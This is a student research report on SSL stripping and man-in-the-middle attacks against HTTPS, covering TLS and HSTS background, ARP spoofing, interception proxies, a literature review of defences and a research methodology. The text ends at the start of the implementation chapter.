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[bookmark: _Toc7614056]Abstract

In this study, the researcher is interested in establishing the potential vulnerability that can put end-user credentials at risk during browsing activity. There are different situations that can put user information at risk but on this one we are going to focus on SSL stripping and MITM attacks. Basically, the researcher will look at approaches that can be used to fight SSL stripping and MITM attacks. The main objectives of the study are to establish what MITM attack can do to encrypted communication and the information that can be accessed by an attacker. This will be achieved by setting SSL stripping on websites with HSTS various configuration. In order to provide variable results for the purpose of analysis, three websites will be used. These will be Firefox, internet explorer and Opera. The bottom line of the experiment is to assess the conditions under which the attack can be effective. The sample for the study included three respondents that were divided into three groups of one. Each individual will be assigned to a different browser. All the results of the tests will be concluded after each test scenario and the analysis of the tests will also be discussed by the author after completing all the tests.
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[bookmark: _Toc7614058]CHAPTER – 1 INTRODUCTION                              

1.1 [bookmark: _Toc7614059]INTRODUCTION

With the advancement of internet technology, most internet users have seriously taken into consideration the need of securing sensitive information that they share over the internet. Some of the sensitive data include passwords, usernames, and credit card information. Consequently, a number of security protocols are in place to address the security vulnerabilities and flaws that have been or can be, exploited by hackers [1]. One of the commonly used protocols is the secure socket layer (SSL) used to secure communication between the client and the web server [2, 3], to enhance information integrity, authentication and ensuring data confidentiality during Website transactions [4]. The SSL is now known by its new name as the transport layer security (TLS) as it provides better data encryption and authentication between the client and the server.
Unfortunately, a number of attacks have been reported over SSL/TLS where the attacks either; (i) exploit SSL implementation or (ii) exploit the vulnerabilities of tools and services which are used by SSL [1, 3]. For example, some common attacks that are limited to exploiting vulnerabilities of SSL tools include the man-in-the-middle attacks (MITM) [5]. Recently, the five common SSL based MITM attacks that have been reported include online certificate status protocol (OCSP) attack [2], SSL Null prefix [2,3], SSL stripping [1,3-5], MD5 collide certificate [1,4], and SSL sniffing [3,5]. The focus of this research project is only limited to SSL stripping attacks where the MITM process seeks to exploit the flaw(s) in the way browsers handle HTTPS and HTTP objects, (further discussed under the problem section). The next section briefly discusses the background of this project focusing on the history of the SSL/TLS protocol.
[bookmark: _Toc7614060]1.2 Motivation

There are several factors that motivated the author to do this study. The researcher wants to ensure that internet security issues are well understood and implemented. The researcher is motivated by growing cases of poor HSTS implementation. In some cases, HSTS is not implemented at all. When this happens, web browsers become vulnerable to attacks. MITM attacks unlike other attacks affect end-users and not website owners or browser owners. Another point of motivation is researcher’s career path in cyber security
[bookmark: _Toc530555448][bookmark: _Toc7614061][bookmark: _Hlk535809115]1.3 Aim of the project

[bookmark: _Hlk6888090]The aim of this project is to show that HTTPS on its own which meant to secure the communication in the internet world today doesn’t anymore guarantee its objective. Moreover, to determine how easily the MITM attack can be launched on the network especially if the user does not bother about checking the URL or certification warning issued on the browser if the browser can detect any warning against forged certifications.
Also how incorrect http strict transport security (HSTS) implementation by website owners.
The goal of this work is to do the MITM attack over HTTPS, secured by SSL encryption in the today’s real internet world security mechanism and also to try to find a solution to mitigate it.

In the current project, the researcher seeks to propose novel solutions aimed at enhancing secure communication between the client and the server and offer protection against SSL stripping MITM attacks. The specific objectives include:
· To investigate the potential vulnerabilities that could put end-user credential at risks when browsing.
· To assess approaches that can be used to enforce connections to HTTPS and authenticate the web URL for protecting against the SSL Striping MITM attack. 
· To assess the three main web browsers Firefox, Internet Explorer and Opera behaviour when facing downgrading (SSL stripping) attack.
· To identify potential areas for research in the future in efforts to improve the client’s experience while serving.
[bookmark: _Toc7614062]1.4 Problem Statement

[bookmark: _Toc530555446]​‌‍‌‍‌‌‌‍‍‍‍‌‍‌‌‍‍‌​	In the internet browsing environment, it is worth noting that secure authentication that is often indicated by a green padlock at the left top of the browser does not always imply secure connections to the remote servers [8]. Therefore, the browser’s green padlock does not guarantee authentication between TLS inspection, proxy used for SSL, or corporate server during encrypted traffic [5]. The SSL stripping attacks SSL protocol by exploiting the user’s browsing habits instead of technical failures in the SSL protocol to surpass the SSL security [9, 10, 11]. In the process, the MITM is able to insert the attacker at the centre of valid SSL connections. While the client believes they have established a secure and true SSL connection, the MITM attacker is able to view all the client’s web traffic [12]. Despite the enhanced security provided by SSL protocol, the internet users are highly vulnerable to SSL stripping attack owing to the following primary reasons:
· Unaware users connecting to public Wi-Fi and spurious Wi-Fi connections established by attackers 
· Website owners maintaining both, non-secure (HTTP) and secure (HTTPS) versions of their webs site and its and portals. 
· SSL stripping rescuers – HSTS and HSTS preload, either not implemented by majority of websites or not properly configured helping the attacker to compromise the web browsers.
· Web browsers detecting SSL stripping but still allowing the user to continue browsing even when the security is compromised
· Web browsers still accepting forged certificates even when not signed by trusted certificate issuing authority.

[bookmark: _Toc7614063]1.5 Structure of This Project

The structure of this project is divided into nine main chapters which will provide the reader with the vital familiarity to better understand the project which will provide a sense flow throughout the reading of the entire project report. This project is segmented into three major parts, chapter two background research and literature which will review the related technologies that are associated with the SSL/TLS securities and vulnerabilities. The second major part is chapter three which will provide the process of designing a prototype test bed to assess the overall HSTS implementation of websites that will be divided into different categories depend of their implementation, and to test different HSTS implementation scenarios using online and penetration tools.
The third main part is listing the test results analysis, conclusion and reflection that can be drawn after completing the project. 
Chapter 1; Will focus on report overview, aim and objective and the author motivation for doing this project.
Chapter 2: Will focus on the project background research some but not all technologies that are associated with SSL/TLS securities and vulnerabilities, and will also focus on literature review of a previous work done by other researcher in this field, this help the author to build a good foundation of a knowledge in SSL/TLS securities and vulnerabilities and different http strict transport security (HSTS) implementations.
Chapter 3: Will focus on the research philosophy, research process and research design that the author used to achieve the project objectives.
Chapter 4: Will focus on all aspects that been used to develop the prototype test bed to assess all the http strict transport security (HSTS) different implementations that are used in different websites and test their vulnerabilities issues as well as testing different web browsers behaviour as when they MITM try to downgrade the connection from secure HTTPS connection to insecure HTTP connection.
Chapter 5: Will focus on providing the reader with the summery of the project, deduction been made after analysing then test results, objectives achieved and recommendation for further research SSL securities and vulnerabilities, HSTS implementations and web browser SSL/TLS downgrading attacks vulnerability.
Chapter 6: Will focus on reflection that been made by the author throughout the course of this project and to discuss whether that the objectives have been met or not and also to address any limitations.
Chapter 7: Will focus on the list of references with IEEE format that been used throughout this report.
Chapter 8: Will focus in providing a list of background reading resources that been used by the author, but not quoted and also the list of appendices. 



 
















[bookmark: _Toc7614064]CHAPTER 2 - BACKGROUND RESEARCH

[bookmark: _Toc7614065]2.1 Background Overview 

The SSL protocol was first developed in 1994 by Netscape with the purpose of securing communications between the server on the and the client [12]. The protocol was further improved by the Internet Engineering Task Force (IETF) with the development of a typical protocol to achieve similar functionalities based on TLS [13]. However, SSL 3.0, the earlier TLS 1.0 protocol was not friendly or interchangeable with SSL. Today, the new generations of SSL versions protocol include SSL 3.0 that been developed in the year 1996 and TLS 1.2 that been announced in the year 2008 although TLS 1.0 are still the latest protocols [16], Over the last decade, numerous versions of the TLS/SSL protocols been used in over the internet such as VOIP and browsing to provide enhanced security between the client and the webserver [14]. However, although TLS is used by websites to secure all communications between browsers and servers, the MITM attacks still can defeat the SSL/TLS flaws and break the integrity of the data between different applications [13].
[bookmark: _Toc7614066]2.2 HTTP/HTTPS

In 1989 a Tim Berners-Lee who work for CERN start to develop the HTTP protocol [15].  HTTP stand for Hyper Text Transfer Protocol and its main purpose is to transfer Hyper Text.  HTTP is part of the application layer of the OSI model [14]. HTTP is the grounds of all data communication for the WEB today and this is how the Internet WEB work and when transporting the WEB pages to users. This protocol is TCP/IP based, stuffs for example like documents, audio or videos get transferred on the web using this protocol. HTTP. This protocol is work in request and response sequence. When the internet user requests a web page from any web server, the user would expect a response from the web server [15]. The HTTP protocol is stateless protocol, that’s means, the server will not hold any information about any user during the duration of multiple request. This features can be achieved by using the HTTP cookies, server-side sessions and variables etc. [16]. When the internet user needs to browse a WEB site, the first stage is a request sent to the server known as HTTP message, then the server will response to the request and send it back the requester.  The HTTP message is divided into three blocks, Start-Line, Header and body. The HTTP can be differentiated whether its request or respond [15].
[bookmark: _Toc7614067]2.2.1 HTTP Redirect Statues 

The URL redirection is also known as URL forwarding, it’s a method that is used to give the whole web application more than the usual URL address. The HTTP deliver a type of response header (HTTP redirect) to accomplish the process that is used for various goals [17]. Some of these redirections are temporarily redirection and permanent redirection, temporally redirection can be configured when the website is going under maintenance and permanent redirection usually configured to keep the external links functioning after the changes of the website, figure 1 illustrates some of these status codes.
[image: ][bookmark: _Toc7599969]                   Figure 1- URL redirect status codes

[bookmark: _Toc7614068]2.2.2 Public Key Pinning

[image: ]The RFC draft that linked to the HPKP was dated back to February 2014. Its final version is in RFC 7469 of April 2015 [19]. The Public-key-pinning is designed to give web site owner the ability to restrict which CAs can grant certificates to websites. In the year 2014 Google deployed this feature and hardcoded it into the Chrome web browser, Firefox also added this feature in 2014. This feature has proven to be useful in term of preventing from MITM attacks and also making the users aware them by cautioning them with a caution message as when there is a bogus certificate [18]. The following illustration on figure 2 is atypical message produce by the Chrome web browser when there is a fake certificate used on the connection.[bookmark: _Toc7599970]Figure 2- SSL/TLS fake certificate warning message

[bookmark: _Toc7614069]2.2.3 Cookies

A browser cookie (or HTTP, Web or Internet cookie) is a phrase that describes a small packet of static data/information that a website sends to the user’s device when the user visits or browses that site. Then, the device stores the data in a file (often named ‘Cookies’) located within the user’s browser [20]. 
Major applications of cookies include: 
· Authentication and session management,
· Personalization depending on user preferences and previous visits, or
· Tracking cookies that record user browsing histories and habits [20, 21]. 
Cookies are a good thing, and some sites may be difficult or even impossible to use. However, browsers and cookies need to be properly managed to prevent malware propagation, Cross-Site Scripting (XSS), cross-site request forgery, and cookie fixation among other security threats [20, 21]. 
[bookmark: _Toc7614070]2.3 SSL/TLS Overview

Secure Socket Layer (SSL) which now superseded by Transport Layer Security (TLS) are cryptographic protocols to ensure confidentiality, authenticity and integrity of data transferred over HTTP. However, the term SSL is commonly used to refer to both SSL/TLS [23].  The SSL/TLS creates a hinder to the attackers even after bypassing the lower layer’s securities like encrypted WIFI or protected Ethernet ports [24]. SSL/TLS has been a popular target for a long time which eventually led to improvement of SSL/TLS standard and over all the security of the internet.  HTTP over SSL is widely refer to HTTPS, when a website configured to support HTTPS, the webserver in addition to serving in port 80 also serve in port 443. In general, when a user tries to open any website, the web browser makes a DNS resolve request to domain name 
server. After receiving the IP address, it then requests for HTTP page, the webserver replies with a HTTP 302 redirect to change the web browser to port 443.  When the browser connects to port 443, it presented with SSL certificate issued by CA [25].  The web browser then validates the certificate and alert the user about the validity and trustworthiness of the certificate.  Once the user in confident to go ahead with the certificate, the browser and the server negotiate the crypto suit and start to encrypting the HTTP content [25].
[bookmark: _Toc7596069]Table 1 - SSL structure
	SSL/TLS Handshake Protocol

	SSL/TLS Record Protocol

	TCP

	IP


[bookmark: _Toc7614071]2.3.1 SSL/TLS Versions
The original SSL version (SSLv1) was developed by Netscape, but it was never released publicly. There are two specific SSL versions, namely SSLv2 and SSLv3. However, the two versions have since been deprecated because of attack vulnerabilities. After SSLv3, TLS became the new name for SSL. The first TLS version (TLSv1.0) represents an upgraded SSLv3 version. The second TLS version is the TLSv1.2. While TLSv1.3 was defined in 2018, it is yet to be completely finalized and approved. Therefore, TLSv1.2 is the latest model TLS version [26, 27]. It is a security best practice to disable the two deprecated SSL versions because the newer TLS versions were released to tackle known vulnerabilities to HTTPS downgrade attacks through stronger and secure ciphers and algorithms [26, 28]. 
[bookmark: _Toc7614072]2.3.2 SSL/TLS Handshake

Each SSL/TLS connection starts with a ‘handshake’ to determine how the client and the server shall establish the shared cryptographic keys that are essential to secure communications between the two parties. The SSL/TLS handshake procedure involves the following steps [29]:
1. The SSL/TLS client sends a ‘hello message’ containing the cryptographic information (like SSL/TLS version and Cipher Suites) that the client supports.  
2. The SSL/TLS server responds with a ‘hello message’ containing the Cipher Suite the server selects from the list specified by the client, Session ID, and a random byte string. Additionally, the server relays its digital certificates. Optionally, the server relays a client certificate request if it needs to authenticate the client through a digital certificate.
3. The SSL/TLS client authenticates the digital certificates received from the server, and checks cryptographic parameters. 
4. The client relays the random byte string for enabling the two parties to calculate the secret key needed to encrypt subsequent data. This string is encrypted with the SSL/TLS server’s public key to ensure it is not hacked.
5. If the server had relayed a client certificate request, then the client responds with a random byte string that is encrypted with the client’s private key as well as the client’s digital certificate.
6. The server authenticates the client’s digital certificate.
7. The client sends a ‘finished message’ that is encrypted with the shared secret key to indicate the completion of the client portion of the SSL/TLS handshake.
8. The server sends a ‘finished message’ encrypted with the secret key to indicate the completion of the server portion of the SSL/TLS handshake.
9. Now, the two parties can exchange symmetrically encrypted messages for the entire duration of SSL/TLS session.
[image: ]figure - 3 provides a summary of the SSL/TLS handshake process. [bookmark: _Toc7599971]Figure 3- SSL handshake procedure [29]


[bookmark: _Toc7614073][bookmark: _Toc530555450]2.3.3 SSL Certificates Chain

In the context of SSL/TLS procedure, a digital certificate serves a link between an entity (domain name) and a public key where the link has been signed or verified by a trusted third-party (a certificate authority (CA). This way, the keys are authenticated [29]. A CA may establish subordinate CAs and task them with issuing digital certificates to clients. When a client wishes to confirm the authenticity of a certificate, it must be able to validate the signatures of every CA in the certificate chain. This way, the client is in a position to confirm that all CAs and the sender are trustworthy [30].  Therefore, the chain starts with the SSL/TLS certificate.
[image: ]Certificates operating between the SSL/TLS certificate and the root certificate are referred to intermediate or chain certificates – the signers or issuers of SSL/TLS certificates. The root CA certificate signs or issues the intermediate/chain certificates that should be installed on the server (that hosts related SSL/TLS certificates) to ensure that all devices, browsers and applications trust the SSL/TLS certificates. The chain stops with a Root CA certificate that is strictly signed/verified by the CA. In the chain, every certificate is signed/verified by the entity recognized by the subsequent certificate until the root CA certificate [30]. The SSL/TLS certificate chain is illustrated in figure - 4.[bookmark: _Toc7599972]         Figure 4- SSL/TLS Certificate Chain [30]




[bookmark: _Toc7614074]2.4 SSL Stripping Attacks

SSL stripping is a type of a man-in-the-middle attack. Typically, SSL stripping entails downgrading a HTTPS connection to its less-secure HTTP counterpart. The attacker uses a proxy to intercept user requests sent to an authentic site’s Web server, and redirect users to an insecure proxy server instead of connecting the users to the secure (requested) site [30, 31]. It is often difficult to tell that a redirection has taken place because the malicious site is crafted in a way that it is almost similar to the authentic one. Through the HTTP proxy and the unencrypted HTTP connection, the attacker can readily intercept, steal or modify sensitive information without being suspected [8]. 
Potential defence measures include: 
· User awareness and education, 
· VPNs for added encryption even if downgrading succeeds, and 
· HSTS preload list [30, 31].  

[bookmark: _Toc7614075]2.4.1 ARP Spoofing

In the context of network security, ARP (Address Resolution Protocol) spoofing is a form of attack where the adversary sends fake ARP messages via a LAN so as to link the criminal’s MAC address with a valid IP address of an authorized device on the same LAN. Once this linking is successful, the data intended for the authentic IP address may be captured, modified or its transmission terminated by an illegal or unauthorized individual [4]. 
ARP spoofing may be used to facilitate the following security breaches [4, 5, 6]:
· Interception, theft, destruction, deletion or leakage of sensitive information through man-in-the-middle attacks. 
· Session hijacking: Session IDs may be stolen, and then used to gain unauthorized access to confidential systems and information. 
· DoS attacks: A single MAC address may be linked with multiple IP addresses so as to redirect the traffic intended for many legitimate hosts to a single device (preferably a server or default gateway), leading to its exhaustion. 
Typically, ARP spoofing attacks may be detected and prevented through the following methods [5, 6]:
· Packet filtering.
· Use of static (rather than dynamic) ARP entries. 
· Deploying cryptographic protocols, such as Secure Shell (SSH), HTTPS, and Transport Layer Security (TLS) that encrypt data before transmission and verify data upon receipt.
· Deploying ARP spoofing detection and prevention tools. 
· Avoiding trust relationships using authentication protocols that leverage IP addresses.
· Optimizing OS security. 

[bookmark: _Toc7614076]2.4.2 Sniffing

Sniffing is an attack process in which the attacker monitors and intercepts or captures data packets as they pass over a particular network. Typically, attackers use sophisticated packet sniffing tools to capture and analyse unencrypted network traffic for sensitive data, such as passwords, email addresses, and credit card numbers. Eventually, the attacker may steal or corrupt sensitive data, or event launch identity theft attacks.  However, authorized professionals may use packet sniffers for network performance assessment and diagnosis purposes, including network usage, session monitoring, and troubleshooting [32].  
As part of protection against sniffing, all network connections and sensitive traffic should be encrypted. Possible encryption measures include PGP for emails in addition to SSH, HTTPS, and Secure FTP (SFTP) [33]. 
[bookmark: _Toc7614077]2.4.3 Interception proxies 

[image: ]Interception proxy insert themselves into the traffic flow and end the client’s request to the server. The interception proxy will then make an isolated request to the server on behalf of the client. This behaviour stop point to point session and instead it split it into two separate sessions [34]. The objective of this method is, it will enable the access the client credentials to be seen on a plain text that is going between the client and the server while the connection between the server and the attacker stay encrypted session. Interception proxy can be implemented in different ways depend of their purpose [34,35]. Most common scenario is it get integrated with the current HTTP proxy. Interception proxy can also be present in on the client as part of endpoint defence suite or browser plugin. Despite the wide variance in how interception proxies access the SSL session, they all operate the same way once they have reached the session. They end the sessions and act as a man in the middle (MITM) and see the traffic in plain text [34,35]. [bookmark: _Toc7599973]Figure 5 - -Illustration of SSL interception Proxy 

[bookmark: _Toc7614078]2.5 HSTS

HTTP Strict Transport Security (HSTS) refers to a policy-based Web security protocol that supports the protection of Web applications against cookie hijacking and Secure Sockets Layer (SSL) protocol attacks [35]. With HSTS, Web servers declare that browsers and other complying client agents should strictly use HTTPS connections for certain sites. The policy states a time period during which client agents should only connect with the Web server securely [36].  As such, HSTS forces browsers to only load secure website versions, which adds a security layer to a site.
A Web server that implements HSTS supplies a response header via a HTTPS connection. Any HSTS header via clear-text HTTP is ignored. User agents that are configured to conform to HSTS policy automatically turn all insecure HTTP connections referencing a Web-based system into HTTPS connections [37]. If it is impossible to ensure the security of a connection, then the client agent should terminate the link and deny the user website access [37]. Therefore, there is reduced probability of malicious interception of requests and/or responses between a Web application user and the backend Web server if the connection involves a browser that runs HSTS policy [39].
[bookmark: _Toc7614079]2.5.1 HSTS browser preload

As a minimum, enabling HSTS requires a browser to perceive the response header once before exploiting it in subsequent visits. This implies that the browser will have to follow the HTTP>HTTPS procedure at least once, thus the first visit to a HSTS-enabled site is vulnerable to security attacks. To address this vulnerability, browsers preload a list of HSTS-enabled sites in a hardcoded fashion. Users submit HSTS-enabled sites to a HSTS preload list provided they meet a number of requirements, such as serving a valid SSL certificate and serving all subdomains via HTTPS. Submitting websites to the HSTS preload list ensures that those sites are only accessible via HTTPS at all times [39,40]. 
[bookmark: _Toc7614080]2.5.2 HSTS Limitation

We have to note that, in order for HSTS header to be accepted by the browser the connection has to be secured. The browser will ignore any HSTS header if the page is served over HTTP only connection, for this reason it is vital that the automatically redirect every HTTP request to HTTPS [39,40].
Even though the HSTS header can prevent user from MITM attack especially when browsing through public Wi-Fi, there is still a risk especially when the that web page is accessed for the first time, at that point the malicious person can intercept your connection and remove HSTS requirement. This why we have to make sure that when we try to connect to a web page for the first time, ensure your first visit to the website is from a secure access point only [40].









[bookmark: _Toc7614081]2.6 Literature Review

Paper 1:
Selvi, Jose. "Bypassing HTTP strict transport security." Black Hat Europe,.2014.
Selvi and Jose, in their paper titled "Bypassing HTTP strict transport security”, state that a well-known and standard technology used for establishing encryption between the browser and the web server is Secure Sockets Layer [41]. The objective remains to ensure that the data between the server and browsers is private and encrypted. The paper goes on to explain how SSL has become a standard measure of data encryption and security and is utilised by millions of websites for protection of their payment gateway transactions over a period of time. An HTTPS is created when an intermediate SSL is established between the HTTP and TCP since HTTP is a protocol which is built around TCP and no level of security is provided by the latter Selvi [41] explains how tunnelling is utilised to pass data from one end of the tunnel (SSL) to the other. The primary task of the SSL is to encrypt the HTTP messages received, transfer them over the TCP and decrypt the same at the other end [41]. This encryption method, to an extent, protects the data from eavesdropping and transparent MITM attacks. According to the author, the HTTPS, secured by an SSL over TCP, requires a valid certificate issued by a known CA, as encryption is useless without authentication since it can leave the data vulnerable to MITM attacks [41]. 





Paper 2:
 Hossain, Md Shohrab, Arnob Paul, Md Hasanul Islam, and Mohammed Atiquzzaman. "Survey of the Protection Mechanisms to the SSL-based Session Hijacking Attacks, (2018)
According to the paper titled “Survey of the Protection Mechanisms to the SSL-based Session Hijacking Attacks authored by Md. Shohrab Hossain and others, the attacker may gauge a vulnerable connection and trick the user into connecting to the attacking server [42].The paper brings out that SS Lock over TLS is not the complete solution to data security and HSTS is a better and improvised alternative [42], as the information transmitted over HTTPS (encrypted with SSL) could easily be compromised on either end of the tunnel. In an instance of an unsecured server, even if the data is sent over SSL, the server may be attacked to gain unauthorised access. Such breaches of security happen frequently [42]. 
Paper 3:
Syverson, Paul, and Matthew Traudt. "{HSTS} Supports Targeted Surveillance." In 8th {USENIX} Workshop on Free and Open Communications on the Internet ({FOCI} 18). 2018.
Syverson, Paul, and Matthew Traudt in the journal titled "{HSTS} Supports Targeted Surveillance" explain that the security provided by HTTPS is enhanced by the underlying TLS which makes use of session keys for data encryption to ensure the security of data flow between the server and the client [43]. The certificates used for authentication of the server are X.509. Not only encryption but also authentication of the server through certificates is necessary to validate the genuineness of the server. Forward secrecy ensures that information tunnelled between the server and client in the past, is not retrieved/ decrypted in cases when passwords/ keys or compromise in the future. However, it is important that the site must not have any of its contents hosted over HTTP which would leave the user vulnerable [43]. Such sites, when accessed with HTTP (instead of HTTPS) are prone to attacks which are quite unlikely in case of HSTS. Similarly, even the cookies must have the secure attribute enabled. In any condition of usage of HTTP or expiry of authentication certificate, the security of hosted/ transferred data gets compromised.
It is quite clear from the first three papers that with HTTPS and SSL, the endpoints of a secure connection are quite vulnerable. There are possibilities that the transfer is secure, however, the authenticity of the server is still a problem [43]. Possibilities also exist that the CAs are not trusted which would lead to a break-in of authentication, leading to a possibility of an MITM attack.  HTTP Strict Transport Security (HSTS) provides information on how to handle the connection through a response header. The HSTS connections are quite secure and provide a bundle of security settings for any data transfer service. HSTS preloading is done into a browser which ensures the usage of HTTPS only sources. The browsers in this case are already aware that only an HTTPS link is permitted and HSTS is pushed before the commencement of any data transfer [43].
The literature indicates that though it is an effective encryption tool, the authentication of the server remains a problem which may lead to the compromise of information security. Several online transactions over SSL or HTTPS, which are generally considered to be safe, may not be so due to the tool’s limitations over server authentication. The extra layer of security over HTTPS is an added advantage; however, the inability of the mechanism to filter HTTP from HTTPS leads to data vulnerability. The existing literature suggests that HSTS/HSTS preloaded is still a better method, though the limitations are yet to be recorded [43]. 


Paper 4:
Puangpronpitag, Somnuk, and Nattavut Sriwiboon. "Simple and lightweight HTTPS	enforcement to protect against SSL striping attack." In Computational Intelligence,	Communication Systems and Networks (CICSyN), 2012 Fourth International 	Conference	on, pp. 229-234. IEEE, 2012.
According to [44], the attacking scenarios that include SSL Sniff and SSL strip used to execute SSL stripping can be exploited to create a security model to solve the problem.  By analysing the two attack scenarios, the authors of the article can up with an HTTPS connection enforcement mechanism. The security model has been named ISAN-HTTPS Enforcer. Just as the name suggest ISAN-HTTPS Enforcer typically enforces HTTPS protocols without giving a window for interception and redirection of HTTP to a client [44]. This method is effective because all web browsers that utilize JavaScript can support it. Furthermore, it is friendly to a variety of operating systems. However, it has high overhead in terms of delayed response time due to processing time of the JavaScript. The authors of his article have substantiated these claims through experimentation that was carried out to compare the performance of ISAN-HTTPS Enforcer against other security enhancement tools such as HTTPS lock among others [44]. 

Paper 5:
Zhao, Sendong, Ding Wang, Sicheng Zhao, Wu Yang, and Chunguang Ma. "Cookie-proxy:		 a scheme to prevent SSLStrip attack." In International Conference on Information 	and Communications Security, pp. 365-372. Springer, Berlin, Heidelberg, 2012.
 The authors [45] of the article argue that Cookie Proxy is also regarded an effective method of thwarting SSL stripping. The technique uses secure cookie protocol, a new topology structure and pattern, while at the same time employing reverse proxy pattern to overcome previous functional limitations linked to cookie security protocols. The cookie proxy technique implements a secure server guarantee proxy (SSGP), which authenticates whether the sent cookies by a user contain secure notes (SN) or not [45]. If the cookies do not contain SN, they are dropped to prevent SSL stripping. This method is superior compared to ISAN-HTTPS Enforcer because instead of avoiding the stripping attack it actively stops the efforts of the attackers. The contribution of the research is significant because there are few security models designed to thwart actively SSL stripping [45]. 

Paper 6:
Dacosta, Italo, Saurabh Chakradeo, Mustaque Ahamad, and Patrick Traynor. "One-time 	cookies: Preventing session hijacking attacks with stateless authentication 	tokens." ACM Transactions on Internet Technology (TOIT) 12, no. 1 (2012): 1.
It is important to note that HTTP cookies are the most preferred mechanism for session security inform of authentication of web applications according to [46]. Over time, the HTTP cookies have displayed weaknesses that make web session security vulnerable to SSL stripping.  According to [46], hackers in a variety of ways can expose HTTP cookies even if HTTPS is enabled. As a result, there is need to apply One-Time Cookies (OTC) for session security enhancement. In a practical approach, [46] OTC was applied as a security model for a popular WordPress website as an extension for Firefox for both computer and mobile browsers. The results, of the experiment revealed that OTC provides an extra layer of security that inhibits SSL stripping with negligible delay time or latency [46].  OTC is proposed to overcome technical pitfalls linked to HTTPS; this is because the technique generates a single-user authentication token, which once verified by a web server cannot be re-used. However, [46] research findings do not discuss limitations associated with OTC, which includes allowance of only one session that affects or limits website services. This hinders validity of the result [46].

Paper 7:
Lopes, Rodrigo, and Dongwan Shin. "Poster: Preventing SSLstripping Attack using Visual	Security Cues."
The authors of [47] reveal that there is a significant statistical difference in the effectiveness of different warning mechanisms employed by the security applications.  Proposed a visual cue based approach to help reduce instances of SSL stripping attack. The technology warns users of their security status by carryout an assessment on the security status of a webpage and provides alerts using traffic like lights for the warning system. Greens allows log in, red infers serious security concerns while yellow indicates a state of caution [47].  Despite the clear results provided in the article it is important to note that the results are not generalizable because it only involved students who do not represent the entire population at risk of SSL stripping. Additionally, there are no experimental data showing application of the proposal to mobile phone, which are gaining influence in browsing.  The article also does not explain remedies to some potential pitfalls of the technique such as attackers engaging a user after the warning algorithm has completed running or sending an overlaying html that could override or mislead the algorithm to give a false indication of security [47]. 


[bookmark: _Toc7614082]CHAPTER 3 - RESEARCH METHODOLOGY

[bookmark: _Toc371255544][bookmark: _Toc507410331][bookmark: _Toc512007443][bookmark: _Toc7614083]3.1 Introduction
This chapter outlines the methods that will be used to achieve the objectives of the proposed study. The aim is to study how MITM attacks still manage to bypass SSL used for HTTPS. The study will focus on investigating the potential vulnerabilities that can be exploited by MITM attacks and put personal data of end users at risks when browsing. It will also focus on identifying approaches that can be used to protect web URL against SSL Striping MITM attacks. The study will also be aimed at assessing the behaviour of main web browsers, that is, Internet Explorer, Opera and Firefox when experiencing SSL stripping attack.  The chapter outlines the methods used to collect and analyse. The aim is to describe how the objectives of the study will be achieved. 
[bookmark: _Toc7614084]3.2 Research method
There are several research methods available to researchers. Research method refers to the approach that is taken by the researcher to achieve study objective or answer the research question. The research method is selected based on the study's subject or the objective of the study [48,49]. The main research methods include surveys, experiments, observations and focus group. The proposed study will use an experimental method where SSL stripping attack will be set up on websites that have HSTS configuration varies. The methods will help to investigate what a MITM attack does to encrypted communication. It will also help to determine what information attacker can gather and also determine under what conditions the attack is effective.  


[bookmark: _Toc7614085]3.3 Research philosophy 
Research philosophy is a vital part of the research methodology that deals with the source, nature, and development of knowledge. It is a belief about the approaches that should be used to collect, analyse and use data. Understanding the essence of research philosophy is essential since it helps to be aware of how one forms and tests assumptions when conducting a study. The main research philosophy includes ontology, epistemology, positivism, realism, and interpretivism [1].  The proposed study will be based on positivism. This research philosophy is based on the assumption that only factual knowledge that is obtained through observation can be trusted. The proposed study aims to gather factual knowledge that will help to understand how MITM attacks are conducted.  
[bookmark: _Toc7614086]3.4 Research approach 
Research approach refers to the plan and procedures that are used to achieve the objective of the study. It refers to the method of data collection analysis and interpretation. The research approach is categorised into the approach of data collection and approach of reasoning or data analysis and interpretation.  Regarding the approach of data collection, the researcher can use the qualitative method, quantitative method or both. The proposed study will use qualitative research approach. Qualitative research approach involves gathering experiences and perspectives from research participants [48]. Participants for the proposed study will be required to provide perspective about the behaviour of their browsers and websites that will be tested through MITM attacks. Regarding reasoning, the deductive approach will be used to analyse and interpret data that will be collected. The reasoning will rely on the general research statement. It will involve moving from general assumptions to specific by using the perspectives that will be collected [49]. 
[bookmark: _Toc7614087]3.5 Research design 

The research design will   that important thoughts are collected to provide a systematic sight of this project and how to accomplish its objective. This research design will follow a different methods approach. This approach will make it possible to examine and analyse the research findings to test different vulnerabilities that make the web frightening. This design will include ethics that are produced using this literature review method 
[bookmark: _Toc7614088]3.6 Data collection
The research will rely on both primary and secondary data to achieve its objectives. The secondly data will be collected from existing similar studies. It will involve reviewing existing studies to gather more insights that can help to form needed conclusions. Primary data, on the other hand, is first-hand data collected from research respondents. The research will involve two individuals who will be required to participate by observing websites that will be attacked using SSL stripping. Each one will use a different under test browser and try to connect to an under test website and observe the results, the results will be based on success, partially success and not success. The browsers that will be used are Firefox, Internet Explorer and Opera.
[bookmark: _Toc7596070]Table 2- Data collection methods
	Component
	Research approach

	Chapter 2
Literature review
	Qualitative - Based on Literature review
Action research – Reflection upon previous studies and establishing better understanding of MITM SSL tripping attacks in cyber.

	Chapter 3
Research Methodology
	Qualitative – Methodologies research
Action research - Reflection upon previous studies and findings

	Chapter 4
Design , Implementation and testing
	Qualitative - Developing a unique project design with the support of action research 
Action research - Reflection upon previous studies and findings

	Chapter 5
Conclusion and  Recommendations 
	Qualitative - Experiment and literature review
Action research – establish the finding from the experiment

	Chapter 6
Reflections
	
Action research - Reflection upon previous study and outcomes


 
[bookmark: _Toc7614089]3.7 Timeline 
Timeline outlines various activities that will be conducted in order to complete the proposed study project. The main activities include forming research concept (topic), writing a research proposal, literature review, experiment and data collection, data analysis, writing results, and discussion, concluding the project, project revision, and project submission.
[bookmark: _Toc7599974]Figure 6 - Time line


[bookmark: _Toc7614090]3.8 Conclusion 
In conclusion, this chapter outlines the methods and approaches that will be used to achieve the objectives of the study. The study aims to prove that SSL cannot be trusted when used alone for HTTPS to stop MITM attacks. Experiments will be done on websites that have HSTS configuration varies. Qualitative research and inductive reasoning will be used to collect data and analyse data respectively. The study will also rely on the literature review in order to gain rich insights from existing studies.












[bookmark: _Toc7614091]CHAPTER 4 -IMPLEMENTATION

[bookmark: _Toc7614092]4.1 Introduction

